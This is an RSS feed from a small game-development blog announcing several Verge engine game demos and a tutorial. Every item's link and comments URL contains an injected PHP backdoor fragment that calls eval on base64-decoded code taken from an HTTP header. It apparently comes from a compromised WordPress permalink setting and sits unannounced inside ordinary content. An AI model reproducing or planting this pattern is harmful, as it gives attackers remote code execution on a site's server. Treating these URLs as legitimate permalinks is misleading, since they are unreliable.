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	<title>Dreamstem &#187; Build release</title>
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	<link>http://www.dreamstem.com</link>
	<description>Where dreams are born</description>
	<lastBuildDate>Thu, 07 May 2009 14:41:51 +0000</lastBuildDate>
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		<title>Verge Compo Entry</title>
		<link>http://www.dreamstem.com/2009/01/03/verge-compo-entry/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.dreamstem.com/2009/01/03/verge-compo-entry/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 03 Jan 2009 05:09:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Build release]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.dreamstem.com/?p=28</guid>
		<description><![CDATA[As some of you know, Code, Rockstar and I have been working for around a week on a compo for the Verge&#8217;s community &#8220;How about M!&#8221; competition. The game we submitted was titled Wind &#8211; With a Capital M. You can download it yourself and try it out at the link at the bottom of [...]]]></description>
			<content:encoded><![CDATA[<p>As some of you know, Code, Rockstar and I have been working for around a week on a compo for the Verge&#8217;s community <a href="http://www.verge-rpg.com/boards/display_thread.php?id=132570">&#8220;How about M!&#8221;</a> competition. The game we submitted was titled Wind &#8211; With a Capital M. You can download it yourself and try it out at the link at the bottom of this post. You can also check all the competitors&#8217; submissions <a href="http://www.verge-rpg.com/boards/display_thread.php?id=132650">here</a>.</p>
<p>This game was very satisfying to do and I am satisfied of how it came out. I would love to hear what you think, good or bad, about this game. Enjoy!</p>
<p><img src="http://www.dreamstem.com/files/Wind%20screenshot.jpg" width="320" height="239" /></p>
<p><a href="http://www.dreamstem.com/files/Wind_fixed.zip">Download</a></p>
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		<title>New Tutorial + Demo by glambourine</title>
		<link>http://www.dreamstem.com/2008/09/16/new-tutorial-demo-by-glambourine/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.dreamstem.com/2008/09/16/new-tutorial-demo-by-glambourine/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 16 Sep 2008 14:11:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Build release]]></category>

		<guid isPermaLink="false">http://www.dreamstem.com/?p=21</guid>
		<description><![CDATA[Since it seems that verge-rpg.com&#8217;s downtime might last longer then I expected. I am posting the link to glambourine&#8216;s new Tutorial/Demo of verge here. Download and enjoy! Demon Lord Adventure Tutorial II by glambourine]]></description>
			<content:encoded><![CDATA[<p>Since it seems that verge-rpg.com&#8217;s downtime might last longer then I expected. I am posting the link to <a href="http://chocolatesaucerpgdev.blogspot.com/">glambourine</a>&#8216;s new Tutorial/Demo of verge here. Download and enjoy!</p>
<p><a href="http://www.dreamstem.com/files/dla1-2.rar">Demon Lord Adventure Tutorial II by glambourine</a></p>
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		<title>OMFG, tech demo!</title>
		<link>http://www.dreamstem.com/2008/08/18/omfg-tech-demo/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.dreamstem.com/2008/08/18/omfg-tech-demo/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 18 Aug 2008 23:32:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Build release]]></category>

		<guid isPermaLink="false">http://www.dreamstem.com/?p=17</guid>
		<description><![CDATA[So I woke up today and said to myself: &#8220;I will quickly finish this up so I can show the verge community.&#8221; The dialog isn&#8217;t done but you can at least try out Eldritch&#8217;s engine(Based of Castle Heck by torin), listen to Rockstar&#8217;s track and admire the art I done for the game. I am [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center"><img src="http://www.dreamstem.com/files/doll%20face.jpg" height="193" width="153" /></p>
<p>So I woke up today and said to myself: &#8220;I will quickly finish this up so I can show the verge community.&#8221;</p>
<p>The dialog isn&#8217;t done but you can at least try out Eldritch&#8217;s engine(Based of Castle Heck by torin), listen to Rockstar&#8217;s track and admire the art I done for the game. I am really proud of my texture work as this was my first time doing something like this. =D</p>
<p>What are you waiting for? <a href="http://www.dreamstem.com/files/Animus%20Lacrima%20-%20tech%20demo.zip">Download now</a>!</p>
<p>Now I want to hear from people who are &#8220;coder/artist/musician or anything you can do&#8221; who would be interested in working on a <strong>very simple</strong> but <strong>quality </strong>game. Something with the complexity of a &#8220;compo&#8221; but more polished. Or if you already have a small scale project in the work and need an artist. I know there are a lot of of Gruedorf people who stopped working on their games like me. =)<br />
So contact me or post a comment in this thread. Let&#8217;s finish a damn game that we can flaunt and be proud of!!</p>
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		<slash:comments>4</slash:comments>
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		<title>Introducting SINS v.1</title>
		<link>http://www.dreamstem.com/2008/02/08/introducting-sins-v1/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.dreamstem.com/2008/02/08/introducting-sins-v1/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 09 Feb 2008 00:29:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Build release]]></category>

		<guid isPermaLink="false">http://www.dreamstem.com/?p=4</guid>
		<description><![CDATA[As basil is very much busy right now, Eldtrich has accepted to help out with some of the coding for the game. Here is the fruit of his labour. I personally find the dialog hilarious, especially considering how informative it is. =) Visual novel demo 1]]></description>
			<content:encoded><![CDATA[<p>As basil is very much busy right now, Eldtrich has accepted to help out with some of the coding for the game. Here is the fruit of his labour. I personally find the dialog hilarious, especially considering how informative it is. =)</p>
<p><a href="http://www.dreamstem.com/files/SINS.zip">Visual novel demo 1 </a></p>
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